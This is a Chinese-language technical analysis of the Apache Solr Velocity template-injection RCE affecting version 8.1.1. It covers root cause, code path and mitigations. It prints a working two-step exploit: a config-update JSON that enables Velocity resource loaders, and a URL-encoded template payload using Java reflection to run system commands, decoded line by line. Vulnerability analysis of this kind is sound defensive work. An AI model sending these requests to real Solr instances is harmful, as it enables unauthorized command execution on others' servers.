Apache Solr最新RCE漏洞分析
字数 1236 2025-08-18 11:39:04
Apache Solr Velocity模板注入RCE漏洞分析
漏洞概述
Apache Solr在2019年11月爆出一个远程代码执行(RCE)0day漏洞,该漏洞通过Velocity模板注入实现。攻击者可以通过精心构造的请求在Solr服务器上执行任意命令。
受影响版本
确认受影响的版本包括Solr 8.1.1,其他版本也可能受影响。
漏洞复现步骤
前提条件
- 目标Solr实例开启了某个core(可通过Core Admin查看)
- 示例中使用的是名为"mycore"的core
攻击流程
-
修改core配置:
向目标core的config接口发送以下JSON数据:{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } -
触发RCE:
访问以下URL实现命令执行(示例中执行whoami命令):/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
漏洞原理分析
配置修改阶段
- 请求被
SolrConfigHandler.handleRequestBody处理 - 通过
handlePOST函数处理POST请求 - 调用
handleCommands函数合并新旧配置 - 最终进入
addNamedPlugin函数,创建了一个VelocityResponseWriter对象 - 关键配置项被设置为true:
solr.resource.loader.enabledparams.resource.loader.enabled
命令执行阶段
- 在
HttpSolrCall.call中根据参数wt=velocity获取配置过的VelocityResponseWriter - 进入
VelocityResponseWriter.write函数 - 调用
createEngine函数生成包含恶意template的engine - 恶意template被放入:
params.resource.loader.instancesolr.resource.loader.instance
- 通过
VelocityResponseWriter.getTemplate获取构造的恶意template - 调用template的
merge方法执行恶意代码
Velocity模板引擎特性
Velocity是一个基于Java的模板引擎,允许在模板中引用和执行Java代码。关键语法:
#set($name = "velocity") // 变量定义
#set($foo = $bar) // 变量赋值
#set($foo = "hello") // 字符串赋值
#set($foo.name = bar.name) // 属性赋值
#set($foo.name = bar.getName($arg)) // 方法调用
// 循环语法
#foreach($element in $list)
This is $element $velocityCount
#end
// 执行模板
template.merge(context, writer);
攻击Payload解析
攻击payload利用了Velocity模板引擎的特性,通过Java反射机制执行命令:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
这段代码:
- 获取Runtime类实例
- 执行系统命令
whoami - 读取命令输出并显示
修复方案
官方当时尚未发布补丁,临时缓解措施:
- 对Solr实施严格的访问控制
- 禁用不必要的core
- 限制可访问Solr的IP地址
总结
该漏洞利用了两个关键点:
- 通过修改配置启用危险的Velocity模板参数加载功能
- 利用Velocity模板引擎执行Java代码的能力实现RCE
攻击者需要先修改配置再触发漏洞,因此对Solr实例的写权限是必要条件。该漏洞展示了模板引擎在提供灵活性的同时可能带来的安全风险。